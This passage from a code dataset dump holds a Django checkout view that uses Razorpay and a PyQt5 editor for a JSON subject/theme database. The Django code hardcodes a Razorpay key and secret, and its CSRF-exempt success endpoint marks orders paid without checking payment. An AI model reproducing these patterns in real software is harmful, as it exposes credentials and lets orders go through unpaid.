int(delay))\n","sub_path":"gui_frame.py","file_name":"gui_frame.py","file_ext":"py","file_size_in_byte":14791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"443190218","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nimport razorpay\nfrom django.core.mail import EmailMessage\nfrom django.template.loader import render_to_string\nimport json\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .forms import OrderForm\nimport datetime\nfrom .models import *\nfrom cart.models import CartItem\nfrom shop.models import Product\n\ndef payments(request):\n return render(request,'orders/payments.html')\n\n\ndef place_order(request,total=0,quantity=0):\n current_user = request.user\n\n # If the cart Count <= 0 then redirect back to shop\n cart_items = CartItem.objects.filter(user=current_user)\n cart_count = cart_items.count()\n if cart_count <= 0:\n return redirect('store')\n\n grand_total = 0\n tax = 0\n\n for cart_item in cart_items:\n total += (cart_item.products.price * cart_item.quantity)\n quantity += cart_item.quantity\n tax = (2*total)/100\n grand_total = total + tax\n razorpay_amount = grand_total*100\n\n if request.method == 'POST':\n form = OrderForm(request.POST)\n if form.is_valid():\n # Store All Billing Info inside Order Table\n data = Order()\n data.user = current_user\n data.first_name = form.cleaned_data['first_name']\n data.last_name = form.cleaned_data['last_name']\n data.phone = form.cleaned_data['phone']\n data.email = form.cleaned_data['email']\n data.address = form.cleaned_data['address']\n data.country = form.cleaned_data['country']\n data.state = form.cleaned_data['state']\n data.city = form.cleaned_data['city']\n data.zip_code = form.cleaned_data['zip_code']\n data.order_note = form.cleaned_data['order_note']\n data.order_total = grand_total\n data.tax = tax\n data.ip_address = request.META.get('REMOTE_ADDR') # Take user ip address\n data.save()\n\n # Order No Generation (Unique)\n yr = int(datetime.date.today().strftime(\"%Y\"))\n dt = int(datetime.date.today().strftime(\"%d\"))\n mt = int(datetime.date.today().strftime(\"%m\"))\n d = datetime.date(yr,mt,dt)\n current_date = d.strftime(\"%Y%m%d\") # 20210505\n\n order_number = current_date + str(data.id)\n data.order_number = order_number\n data.save()\n\n # Getting Order Instance for Payment Gateway\n order = Order.objects.get(user=current_user,is_ordered=False,order_number=order_number)\n order_currency = 'INR'\n\n client = razorpay.Client(auth=('rzp_test_IlWmFu63lxusiQ', 'ir5w1PfJsNxML7smxJ36Bjpu'))\n payment = client.order.create({'amount': razorpay_amount, 'currency': order_currency, 'payment_capture': '1'})\n\n context = {\n 'order':order,\n 'cart_items':cart_items,\n 'total':total,\n 'tax':tax,\n 'grand_total':grand_total,\n 'razorpay_amount':razorpay_amount\n }\n #=============================================\n return render(request,'orders/payments.html',context)\n else:\n # print(form.errors)\n return redirect('checkout')\n else:\n return redirect('checkout')\n\n\n@csrf_exempt\ndef success(request,order_number):\n try:\n current_user = request.user\n order = Order.objects.get(user=current_user, order_number=order_number)\n order.is_ordered = True\n order.save()\n\n # Move the Cart Items to OrderProduct table\n cart_items = CartItem.objects.filter(user=request.user)\n for item in cart_items:\n order_product = OrderProduct()\n order_product.order_id = order.id\n order_product.user_id = request.user.id\n order_product.product_id = item.products_id\n order_product.quantity = item.quantity\n order_product.product_price = item.products.price\n order_product.ordered = True\n order_product.save()\n\n # Now save the product variations\n cart_item = CartItem.objects.get(id=item.id)\n product_variation = cart_item.variations.all()\n order_product = OrderProduct.objects.get(id=order_product.id)\n order_product.variations.set(product_variation)\n order_product.save()\n\n\n # Reduce the quantity from inventory (Stock)\n product = Product.objects.get(id=item.products_id)\n product.stock -= item.quantity\n product.save()\n\n\n # Clear the Cart\n CartItem.objects.filter(user=request.user).delete()\n\n\n # Send Order Mail to Customer\n mail_subject = \"Thank You For Shopping With Us-ShopyCart\"\n message = render_to_string('orders/order_recieved_email.html', {\n 'user': request.user,\n 'order':order,\n })\n to_mail = request.user.email\n send_mail = EmailMessage(mail_subject, message, to=[to_mail])\n send_mail.send()\n\n #================== Thank You Page ==================\n order_details = Order.objects.get(user=request.user, order_number=order_number,is_ordered=True)\n order_products = OrderProduct.objects.filter(order_id = order_details.id)\n sub_total = 0\n for i in order_products:\n sub_total += i.product_price * i.quantity\n\n context = {\n 'order_products':order_products,\n 'order':order_details,\n 'user':request.user,\n 'sub_total':sub_total\n }\n return render(request, 'orders/order_complete.html',context)\n\n\n except(Order.DoesNotExist):\n return redirect('index')\n\n\n","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"619976465","text":"import sys\nimport json\nimport time\nimport copy\n#from test_mod_app_subj.py import xxx\nimport modul_mod_win_append_subj\nimport modul_mod_win_append_theme\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QWidget, QApplication, QLineEdit, QTextEdit\nfrom PyQt5.QtGui import QPainter, QColor, QPen\nfrom PyQt5.QtCore import Qt\n\n\n#print('a')\n#print(000111110000)\n'''\nclass mod_win_append_subj(QWidget):\n def __init__(self, number,list_for_theme_buttons,self_2, parent=None):\n super(mod_win_append_subj, self).__init__(parent)\n self.initUI()\n #list_for_theme_buttons\n \n self.number = number\n self.list_for_theme_buttons = list_for_theme_buttons\n self.self_2 = self_2\n def initUI(self):\n \n self.setFixedSize(400, 400)\n self.setWindowTitle('Добавление предмета')\n self.setWindowFlags(QtCore.Qt.Dialog)\n self.setWindowModality(QtCore.Qt.WindowModal)\n self.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n \n self.label_and_text()\n #self.labels()\n #self.buttons()\n #self.creator_subj_buttons()\n #self.creator_theme_buttons()\n \n self.show()\n \n \n global ultra_dict\n ultra_dict = {}\n \n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n \n def paintEvent(self, e):\n print(1)\n print(self.number)\n new_pen = QPen(Qt.black, 2, Qt.SolidLine)\n \n painter_1 = QPainter()\n painter_1.begin(self)\n \n painter_1.setPen(new_pen)\n painter_1.drawLine(4,4,100,10)\n painter_1.end()\n # paintEvent(modalWindowAppSubj)\n def label_and_text(self):\n def cancel_add_subj():\n print(2)\n self.close()\n def save_name_subj():\n \n if bool(name_subj.toPlainText().strip()) != True:\n \n modalWindowError = QtWidgets.QWidget(self, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(self.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Заполните все ячейки', modalWindowError)\n label_of_error.move(80, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n elif name_subj.toPlainText().strip() in ultra_dict.keys():\n \n modalWindowError = QtWidgets.QWidget(modalWindowAppSubj, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(400, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAppSubj.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Такой предмет уже существует.\\nСоздавать предметы с одинаковыми названиями нельзя.', modalWindowError)\n label_of_error.move(20, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n else:\n string_name_subj = name_subj.toPlainText().strip()\n ultra_dict[string_name_subj] = {}\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n for btn_theme in self.list_for_theme_buttons:\n btn_theme.hide()\n #app_2 = QApplication(sys.argv)\n #import main_file\n #sys.exit()\n #smth_2 = MainCodeClass()\n print(22222)\n #sys.exit(app_2.exec_())\n #MainCodeClass()\n #bd_edit_test_1.MainCodeClass()\n self.self_2.creator_subj_buttons()\n self.close() \n label_name_new_subj = QtWidgets.QLabel(\"Введите название предмета\", self)\n label_name_new_subj.move(10, 10)\n \n name_subj = QTextEdit(self)\n name_subj.move(20,40)\n global btn_exit\n btn_exit = QtWidgets.QPushButton('Отмена', self)\n btn_exit.move(20,350)\n btn_exit.clicked.connect(cancel_add_subj)\n \n btn_save_subj = QtWidgets.QPushButton('Сохранить', self)\n btn_save_subj.move(200, 350)\n btn_save_subj.clicked.connect(save_name_subj)\n\n'''\n\n\n\n\n\n\n\n\n\n\n\nclass MainCodeClass(QWidget):\n #global MainCodeClass\n def __init__(self, parent=None):\n super(MainCodeClass, self).__init__(parent)\n self.initUI()\n \n \n #app = QtWidgets.QApplication(sys.argv) \n #window = QtWidgets.QWidget()\n #window.setWindowTitle('Редактирование')\n #window.setFixedSize(1024, 758)\n \n def initUI(self):\n print(444444)\n self.setFixedSize(1024, 758)\n self.setWindowTitle('Редактирование')\n print(self)\n self.labels()\n self.buttons()\n self.creator_subj_buttons()\n self.creator_theme_buttons()\n \n self.show()\n print(3333333333)\n # widget_theme_scroll = QtWidgets.QWidget(self)\n #widget_theme_scroll.size(700,100)\n # widget_theme_scroll.move(522, 157)\n # btn_test = QtWidgets.QPushButton('Добавить предмет', widget_theme_scroll)\n # widget_theme_scroll.show()\n global ultra_dict\n ultra_dict = {}\n\n try:\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n except:\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n global list_of_checked_subj_button_for_edit\n list_of_checked_subj_button_for_edit = []\n global list_for_checked_subj_button\n list_for_checked_subj_button = []\n global list_for_subj_buttons\n list_for_subj_buttons = []\n #global list_for_subj_buttons\n global list_for_theme_buttons\n list_for_theme_buttons = []\n global list_of_subj_buttons_for_edit\n list_of_subj_buttons_for_edit = []\n global list_of_theme_buttons_for_edit\n list_of_theme_buttons_for_edit = []\n\n\n dict_for_theme_btn_textofbtn_and_label = {}\n\n def paintEvent(self, e):\n \n \n painter_1 = QPainter()\n painter_1.begin(self)\n \n col = QColor(0, 0, 0)\n col.setNamedColor('#676767')\n \n painter_1.setPen(col)\n painter_1.setBrush(QColor(103, 103, 103))\n painter_1.drawRect(0, 0, 1024, 80)\n #painter_1.drawLine(4,4,10,10)\n painter_1.setBrush(QColor(232, 236, 242))\n painter_1.drawRect(15, 96, 490, 61)\n painter_1.drawRect(520, 96, 490, 61)\n painter_1.drawLine(15, 157, 15, 748)\n painter_1.drawLine(505, 157, 505, 748)\n painter_1.drawLine(15, 748, 505, 748)\n \n \n painter_1.end()\n\n def labels(self):\n label_subject = QtWidgets.QLabel(\"Выбор предмета\", self)\n font_obj_for_label = QtGui.QFont('Segoe UI', pointSize = 15)\n label_subject.setFont(font_obj_for_label)\n label_subject.move(110, 103)\n label_subject.show()\n label_theme = QtWidgets.QLabel(\"Выбор темы\", self)\n font_obj_for_label = QtGui.QFont('Segoe UI', pointSize = 15)\n label_theme.setFont(font_obj_for_label)\n label_theme.move(550, 100)\n label_theme.show()\n\n def buttons(self):\n try:\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n except:\n None \n \n \n font_obj_for_btn = QtGui.QFont('times new roman',pointSize = 10)\n icon_for_btn = QtGui.QIcon('icons8_add_96.png')\n size_obj = QtCore.QSize(40, 40)\n \n btn_add_subject = QtWidgets.QPushButton('', self)\n btn_add_subject.setFont(font_obj_for_btn)\n btn_add_subject.setIcon(icon_for_btn)\n btn_add_subject.setIconSize(size_obj)\n btn_add_subject.setFlat(True)\n btn_add_subject.move(451, 104)\n btn_add_subject.setFixedSize(40, 40)\n btn_add_subject.clicked.connect(self.mod_win_append_subj)\n btn_add_subject.show() \n\n global btn_add_theme\n btn_add_theme = QtWidgets.QPushButton('', self)\n btn_add_theme.setFont(font_obj_for_btn)\n btn_add_theme.setIcon(icon_for_btn)\n btn_add_theme.setIconSize(size_obj)\n btn_add_theme.setFlat(True)\n btn_add_theme.move(959, 104)\n btn_add_theme.setFixedSize(40, 40)\n btn_add_theme.clicked.connect(self.mod_win_append_theme)\n btn_add_theme.hide()\n\n global btn_for_delete_subj\n btn_for_delete_subj = QtWidgets.QPushButton('Удалить выбранный предмет', self)\n btn_for_delete_subj.setFixedSize(300, 100)\n btn_for_delete_subj.setStyleSheet(\"QPushButton {background-color: rgb(51,122,183); color: White; border-radius: 50px 50px 50px 50px;}\"\n \"QPushButton:pressed {background-color:rgb(31,101,163) ; }\")\n btn_for_delete_subj.move(110,630)\n btn_for_delete_subj.clicked.connect(self.final_deleter_subj)\n btn_for_delete_subj.hide()\n \n \n\n def final_deleter_subj(self):\n modalWindowDeleter = QtWidgets.QWidget(self, QtCore.Qt.Window)\n modalWindowDeleter.setWindowTitle('Удаление вопроса')\n modalWindowDeleter.setFixedSize(300, 250)\n modalWindowDeleter.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowDeleter.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowDeleter.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowDeleter.move(self.geometry().center() - modalWindowDeleter.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_attention = QtWidgets.QLabel('Вы уверены, что хотите удалить предмет?', modalWindowDeleter)\n label_of_attention.move(40, 100)\n \n \n def final_delete_quest():\n btn_add_theme.hide()\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n for button_1 in list_for_subj_buttons:\n if button_1.isChecked():\n var_for_delete = button_1.text()\n ultra_dict.pop(var_for_delete)\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n self.creator_subj_buttons()\n \n for btn in list_for_theme_buttons:\n btn.hide()\n btn_for_delete_subj.hide() \n modalWindowDeleter.close() \n #app = QtWidgets.QApplication(sys.argv)\n #smth = MainCodeClass()\n #sys.exit(app.exec_()) \n def cancel_from_delete_window():\n modalWindowDeleter.close()\n \n btn_no = QtWidgets.QPushButton('нет', modalWindowDeleter)\n btn_no.move(20, 200)\n btn_no.clicked.connect(cancel_from_delete_window)\n \n \n btn_yes = QtWidgets.QPushButton('да', modalWindowDeleter)\n btn_yes.move(140, 200)\n btn_yes.clicked.connect(final_delete_quest)\n \n \n\n modalWindowDeleter.show()\n ''' \n btn_add_theme.hide()\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n for button_1 in list_for_subj_buttons:\n if button_1.isChecked():\n var_for_delete = button_1.text()\n ultra_dict.pop(var_for_delete)\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n creator_subj_buttons()\n \n for btn in list_for_theme_buttons:\n btn.hide()\n btn_for_delete_subj.hide()\n ''' \n \n def mod_win_append_theme(self):\n modul_mod_win_append_theme.mod_win_append_theme(self, list_for_subj_buttons, list_for_theme_buttons)\n '''\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n modalWindowAppTheme = QtWidgets.QWidget(self, QtCore.Qt.Window)\n modalWindowAppTheme.setWindowTitle(\"Добавление темы\")\n modalWindowAppTheme.setFixedSize(400, 400)\n modalWindowAppTheme.setWindowFlags(QtCore.Qt.Dialog)\n \n modalWindowAppTheme.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowAppTheme.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowAppTheme.move(self.geometry().center() - modalWindowAppTheme.rect().center() - QtCore.QPoint(4, 30))\n label_name_new_theme = QtWidgets.QLabel(\"Введите название темы\", modalWindowAppTheme)\n label_name_new_theme.move(10, 10)\n \n name_theme = QTextEdit(modalWindowAppTheme)\n name_theme.move(20,40)\n \n btn_exit = QtWidgets.QPushButton('Отмена', modalWindowAppTheme)\n btn_exit.move(20,350)\n \n def cancel_add_theme():\n modalWindowAppTheme.close()\n # Кнопка для сохранения предмета в окне создания предмета\n def save_name_theme():\n for btn in list_for_subj_buttons:\n if btn.isChecked():\n name_of_subj = btn.text()\n string_name_theme = name_theme.toPlainText().strip()\n list_of_themes_for_check = [] \n for subj in ultra_dict:\n for theme in ultra_dict[subj]:\n list_of_themes_for_check.append(theme)\n modalWindowError = QtWidgets.QWidget(modalWindowAppTheme, QtCore.Qt.Window)\n if bool(name_theme.toPlainText().strip()) != True:\n \n #modalWindowError = QtWidgets.QWidget(modalWindowAppTheme, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAppTheme.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Заполните все ячейки', modalWindowError)\n label_of_error.move(80, 100)\n \n \n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n \n \n elif string_name_theme in list_of_themes_for_check and modalWindowError.isVisible() != True: \n # ultra_dict[name_of_subj].keys():\n \n modalWindowError = QtWidgets.QWidget(modalWindowAppTheme, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(400, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAppTheme.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Такая тема уже существует.\\nСоздавать темы с одинаковыми названиями нельзя.', modalWindowError)\n label_of_error.move(20, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n \n else:\n # name_of_subj = ''\n # for btn in list_for_subj_buttons:\n # if btn.isChecked():\n # name_of_subj = btn.text()\n # string_name_theme = name_theme.toPlainText()\n \n ultra_dict[name_of_subj][string_name_theme] = {}\n \n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n for btn_theme_1 in list_for_theme_buttons:\n btn_theme_1.hide()\n list_for_theme_buttons.clear()\n self.creator_theme_buttons()\n \n self.click_subj_choose_themes_local_for_add_theme()\n modalWindowAppTheme.close()\n \n btn_exit.clicked.connect(cancel_add_theme)\n \n btn_save_subj = QtWidgets.QPushButton('Сохранить', modalWindowAppTheme)\n btn_save_subj.move(200, 350)\n btn_save_subj.clicked.connect(save_name_theme)\n \n \n modalWindowAppTheme.show()\n #class two_k(MainCodeClass):\n # print(1)\n '''\n \n def mod_win_append_subj(self):\n \n #self.close()\n modul_mod_win_append_subj.mod_win_append_subj(5, list_for_theme_buttons, self)\n #self.creator_subj_buttons()\n #self.close()\n #app = QtWidgets.QApplication(sys.argv)\n #smth = MainCodeClass()\n #sys.exit(app.exec_())\n # mod_win_append_subj()\n '''\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n modalWindowAppSubj = QtWidgets.QWidget(self, QtCore.Qt.Window)\n #class mod_win_append_subj_class():\n # def paintEvent(modalWindowAppSubj, e):\n #print(1)\n # new_pen = QPen(Qt.black, 2, Qt.SolidLine)\n \n # painter_1 = QPainter()\n # painter_1.begin(modalWindowAppSubj)\n \n # painter_1.setPen(new_pen)\n # painter_1.drawLine(4,4,10,10)\n # painter_1.end()\n # paintEvent(modalWindowAppSubj)\n #modalWindowAppSubj = QtWidgets.QWidget(self, QtCore.Qt.Window)\n modalWindowAppSubj.setWindowTitle(\"Добавление предмета\")\n modalWindowAppSubj.setFixedSize(400, 400)\n modalWindowAppSubj.setWindowFlags(QtCore.Qt.Dialog)\n \n modalWindowAppSubj.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowAppSubj.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowAppSubj.move(self.geometry().center() - modalWindowAppSubj.rect().center() - QtCore.QPoint(4, 30))\n \n def paintEvent(modalWindowAppSubj, e):\n #print(1)\n new_pen = QPen(Qt.black, 2, Qt.SolidLine)\n \n painter_1 = QPainter()\n painter_1.begin(modalWindowAppSubj)\n \n painter_1.setPen(new_pen)\n painter_1.drawLine(4,4,400,400)\n painter_1.end()\n # paintEvent(modalWindowAppSubj)\n label_name_new_subj = QtWidgets.QLabel(\"Введите название предмета\", modalWindowAppSubj)\n label_name_new_subj.move(10, 10)\n \n name_subj = QTextEdit(modalWindowAppSubj)\n name_subj.move(20,40)\n \n btn_exit = QtWidgets.QPushButton('Отмена', modalWindowAppSubj)\n btn_exit.move(20,350)\n \n def cancel_add_subj():\n modalWindowAppSubj.hide()\n # Кнопка для сохранения предмета в окне создания предмета\n def save_name_subj():\n if bool(name_subj.toPlainText().strip()) != True:\n \n modalWindowError = QtWidgets.QWidget(modalWindowAppSubj, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAppSubj.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Заполните все ячейки', modalWindowError)\n label_of_error.move(80, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n elif name_subj.toPlainText().strip() in ultra_dict.keys():\n \n modalWindowError = QtWidgets.QWidget(modalWindowAppSubj, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(400, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAppSubj.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Такой предмет уже существует.\\nСоздавать предметы с одинаковыми названиями нельзя.', modalWindowError)\n label_of_error.move(20, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n else:\n string_name_subj = name_subj.toPlainText().strip()\n ultra_dict[string_name_subj] = {}\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n for btn_theme in list_for_theme_buttons:\n btn_theme.hide()\n self.creator_subj_buttons()\n modalWindowAppSubj.close()\n \n btn_exit.clicked.connect(cancel_add_subj)\n \n btn_save_subj = QtWidgets.QPushButton('Сохранить', modalWindowAppSubj)\n btn_save_subj.move(200, 350)\n btn_save_subj.clicked.connect(save_name_subj)\n \n \n modalWindowAppSubj.show()\n '''\n '''\n def mod_win_append_subj(self):\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n \n modalWindowAppSubj = QtWidgets.QWidget(self, QtCore.Qt.Window)\n modalWindowAppSubj.setWindowTitle(\"Добавление предмета\")\n modalWindowAppSubj.setFixedSize(400, 400)\n modalWindowAppSubj.setWindowFlags(QtCore.Qt.Dialog)\n \n modalWindowAppSubj.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowAppSubj.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowAppSubj.move(self.geometry().center() - modalWindowAppSubj.rect().center() - QtCore.QPoint(4, 30))\n \n def paintEvent(modalWindowAppSubj):\n #print(1)\n new_pen = QPen(Qt.black, 2, Qt.SolidLine)\n \n painter_1 = QPainter()\n painter_1.begin(modalWindowAppSubj)\n \n painter_1.setPen(new_pen)\n painter_1.drawLine(4,4,10,10)\n painter_1.end()\n paintEvent(modalWindowAppSubj)\n label_name_new_subj = QtWidgets.QLabel(\"Введите название предмета\", modalWindowAppSubj)\n label_name_new_subj.move(10, 10)\n \n name_subj = QTextEdit(modalWindowAppSubj)\n name_subj.move(20,40)\n \n btn_exit = QtWidgets.QPushButton('Отмена', modalWindowAppSubj)\n btn_exit.move(20,350)\n \n def cancel_add_subj():\n modalWindowAppSubj.hide()\n # Кнопка для сохранения предмета в окне создания предмета\n def save_name_subj():\n if bool(name_subj.toPlainText().strip()) != True:\n \n modalWindowError = QtWidgets.QWidget(modalWindowAppSubj, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(300, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAppSubj.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Заполните все ячейки', modalWindowError)\n label_of_error.move(80, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n elif name_subj.toPlainText().strip() in ultra_dict.keys():\n \n modalWindowError = QtWidgets.QWidget(modalWindowAppSubj, QtCore.Qt.Window)\n modalWindowError.setWindowTitle('Ошибка')\n modalWindowError.setFixedSize(400, 250)\n modalWindowError.setWindowFlags(QtCore.Qt.Dialog)\n modalWindowError.setWindowModality(QtCore.Qt.WindowModal)\n modalWindowError.setAttribute(QtCore.Qt.WA_DeleteOnClose, True)\n modalWindowError.move(modalWindowAppSubj.geometry().center() - modalWindowError.rect().center() - QtCore.QPoint(4, 30))\n \n label_of_error = QtWidgets.QLabel('Такой предмет уже существует.\\nСоздавать предметы с одинаковыми названиями нельзя.', modalWindowError)\n label_of_error.move(20, 100)\n \n btn_ok = QtWidgets.QPushButton('Ок', modalWindowError)\n btn_ok.move(80, 200)\n btn_ok.clicked.connect(modalWindowError.close)\n modalWindowError.show()\n else:\n string_name_subj = name_subj.toPlainText().strip()\n ultra_dict[string_name_subj] = {}\n with open('database.json', 'w',encoding=\"utf-8\", ) as file_1:\n file_1.write(json.dumps(ultra_dict, ensure_ascii = False))\n for btn_theme in list_for_theme_buttons:\n btn_theme.hide()\n creator_subj_buttons()\n modalWindowAppSubj.close()\n \n btn_exit.clicked.connect(cancel_add_subj)\n \n btn_save_subj = QtWidgets.QPushButton('Сохранить', modalWindowAppSubj)\n btn_save_subj.move(200, 350)\n btn_save_subj.clicked.connect(save_name_subj)\n \n \n \n \n modalWindowAppSubj.show()\n '''\n var_for_number_index_of_checked_button = 0\n\n def click_subj_choose_themes_local_for_add_theme(self):\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n \n try:\n for button_2 in list_for_changed_btn_for_text_wrap:\n var_name = dict_for_theme_btn_textofbtn_and_label[button_2][0]\n button_2.setText(dict_for_theme_btn_textofbtn_and_label[button_2][0])\n dict_for_theme_btn_textofbtn_and_label[button_2][1].setText('')\n except:\n None\n list_for_changed_btn_for_text_wrap.clear()\n \n \n for button_1 in list_for_subj_buttons:\n if button_1.isChecked():\n for btn in list_for_theme_buttons:\n btn.hide()\n if btn.text() in ultra_dict[button_1.text()]:\n \n btn.setText('')\n dict_for_theme_btn_textofbtn_and_label[btn][1].setText(dict_for_theme_btn_textofbtn_and_label[btn][0])\n \n list_for_changed_btn_for_text_wrap.append(btn) \n btn.show()\n\n\n\n global list_for_text_of_btn_for_wrap\n list_for_text_of_btn_for_wrap = []\n global list_for_changed_btn_for_text_wrap\n list_for_changed_btn_for_text_wrap = []\n global dict_of_btn_label_for_text_wrap\n dict_of_btn_label_for_text_wrap = {}\n\n\n\n def click_subj_choose_themes(self):\n btn_for_delete_subj.show()\n for btn_theme in list_for_theme_buttons:\n btn_theme.hide()\n with open('database.json', 'r',encoding=\"utf-8\", ) as file_db:\n ultra_dict = json.load(file_db)\n list_for_check_or_no_btn = []\n for btn in list_for_checked_subj_button:\n btn.setChecked(False)\n list_for_checked_subj_button.pop()\n for h in list_for_theme_buttons:\n h.hide()\n \n try:\n for button_2 in list_for_changed_btn_for_text_wrap:\n button_2.setText(dict_for_theme_btn_textofbtn_and_label[button_2][0])\n dict_for_theme_btn_textofbtn_and_label[button_2][1].setText('')\n except:\n None\n list_for_changed_btn_for_text_wrap.clear()\n \n \n for button_1 in list_for_subj_buttons:\n if button_1.isChecked():\n var_for_number_index_of_checked_button = list_for_subj_buttons.index(button_1)\n \n list_for_check_or_no_btn.append(True)\n list_for_checked_subj_button.append(button_1)\n for btn in list_for_theme_buttons:\n if btn.text() in 